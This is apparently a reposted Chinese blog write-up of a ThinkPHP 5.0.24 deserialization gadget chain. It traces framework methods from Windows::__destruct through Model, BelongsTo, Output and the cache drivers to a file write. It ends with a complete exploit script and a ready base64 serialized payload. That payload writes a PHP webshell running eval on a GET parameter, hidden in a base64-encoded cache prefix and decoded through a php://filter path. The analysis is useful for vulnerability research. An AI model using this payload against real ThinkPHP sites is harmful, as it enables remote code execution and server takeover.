Thinkphp 5.0.24 反序列化利用鏈


thinkphp/library/think/process/pipes/Windows.php

    public function __destruct()
    {
        $this->close();
        $this->removeFiles(); //跟
    }
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) { //觸發__toString方法
                @unlink($filename);
            }
        }
        $this->files = [];
    }

thinkphp/library/think/Model.php,該Model是抽象類所以需要一個子類進行引用

    public function __toString()
    {
        return $this->toJson(); // 跟
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options); // 跟
    }
    public function toArray()
    {
...
        if (!empty($this->append)) { // $this->append可控,可以設置為'bb' => 'getError'
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加關聯對象屬性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加關聯對象屬性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();

                } else {
                    $relation = Loader::parseName($name, 1, false); //返回 $this->append中的值,也就是getError
                    if (method_exists($this, $relation)) { //判斷方法是否存在該類
                        $modelRelation = $this->$relation(); // $relation=getError方法,該方法中$this->error可控,設置為 BelongsTo 類
                        $value         = $this->getRelationData($modelRelation); // $data來自這,getRelationData方法中調用$modelRelation中的getRelation方法,其中getRelation方法的query屬性可控,導致觸發query的__call方法

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
....

接着就會來到BelongTo類中的getRelation方法,這里的$this->query可控,所以我們找一個沒有removeWhereField方法並且存在__call方法的類來作為$this->query,這里挑選了Output類

    public function getRelation($subRelation = '', $closure = null)
    {
        $foreignKey = $this->foreignKey;
        if ($closure) {
            call_user_func_array($closure, [ & $this->query]);
        }
        $relationModel = $this->query
            ->removeWhereField($this->localKey) //當調用BelongsTo類中的removeWhereField的時候進行觸發,但是BelongsTo中不存在removeWhereField,所以觸發該query類中的__call方法,這里的query可控!
            ->where($this->localKey, $this->parent->$foreignKey)
            ->relation($subRelation)
            ->find();

        if ($relationModel) {
            $relationModel->setParent(clone $this->parent);
        }

        return $relationModel;
    }

Output類中的__call

thinkphp/library/think/console/Output.php

    public function __call($method, $args) //這里調用
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args); //首先會調用block
        }

        if ($this->handle && method_exists($this->handle, $method)) { // $this->handle可控
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }
    protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>"); //跟
    }
    public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type); //跟
    }
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type); //這里的$this->handle可控,所以又可以調用任意類中的public方法,全局搜索"->write(",來尋找調用write的類
    }

Memchache類

thinkphp/library/think/session/driver/Memcache.php

    public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); //這里的$this->handle可控 全局搜索可控類中的set方法
    }

Memcached類

thinkphp/library/think/cache/driver/Memcached.php

    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        if ($this->tag && !$this->has($name)) {
            $first = true;
        }
        $key    = $this->getCacheKey($name);
        $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
        if ($this->handler->set($key, $value, $expire)) {  //這里的$this->handler同樣可控,所以全局搜索調用set方法的類
            isset($first) && $this->setTagItem($key); //這里其中還有繼續調用set方法
            return true;
        }
        return false;
    }

thinkphp/library/think/cache/driver/File.php

    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true); //定義文件名
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //數據壓縮
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data); //這里能夠寫入文件,但是這里的$data無法不可控
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

上面的函數走完出來之后 又回到set方法中調用setTagItem

    protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0); //這里又會進行調用 然后成功寫入
        }
    }
    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        if ($this->tag && !$this->has($name)) {
            $first = true;
        }
        $key    = $this->getCacheKey($name);
        $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
        if ($this->handler->set($key, $value, $expire)) {  //這里的$this->handler同樣可控,所以全局搜索調用set方法的類,出來后接着下面
            isset($first) && $this->setTagItem($key); //這里其中還有繼續調用set方法
            return true;
        }
        return false;
    }

exp:

<?php
namespace think\process\pipes;

class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new \think\model\Merge];
    }
}

namespace think\model;
use think\Model;

class Merge extends Model
{
    protected $append = [];
    protected $error;

    public function __construct()
    {
        $this->append = [
            'bb' => 'getError'
        ];
        $this->error = (new \think\model\relation\BelongsTo);
    }
}

namespace think;
class Model{}

namespace think\console;
class Output
{
    protected $styles = [];
    private $handle = null;
    public function __construct()
    {
        $this->styles = ['removeWhereField'];
        $this->handle = (new \think\session\driver\Memcache);
    }
}

namespace think\model\relation;

class BelongsTo
{
    protected $query;
    public function __construct()
    {
        $this->query = (new \think\console\Output);
    }
}

namespace think\session\driver;
class Memcache
{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = (new \think\cache\driver\Memcached);
    }
}


namespace think\cache\driver;

class Memcached
{
    protected $tag;
    protected $options = [];
    protected $handler = null;

    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
        ];
        $this->handler = (new File);
    }
}

class File
{
    protected $tag;
    protected $options = [];
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/convert.base64-decode/resource=./',
        ];
    }
}


echo base64_encode(serialize(new \think\process\pipes\Windows));

//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJiYiI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6MTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjE2OiJyZW1vdmVXaGVyZUZpZWxkIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjM1OiJQRDl3YUhBS1pYWmhiQ2drWDBkRlZGc25ZU2RkS1RzS1B6NCI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NDY6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9Li8iO319fX19fX19fQ==

參考文章:https://www.cnblogs.com/xiaozhiru/p/12452528.html

還有一個方法是文章:https://www.anquanke.com/post/id/196364

這篇文件走的地方有點不同,走的是Model中的$item[$key] = $value ? $value->getAttr($attr) : null,getError方法中返回的是HasOne類


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM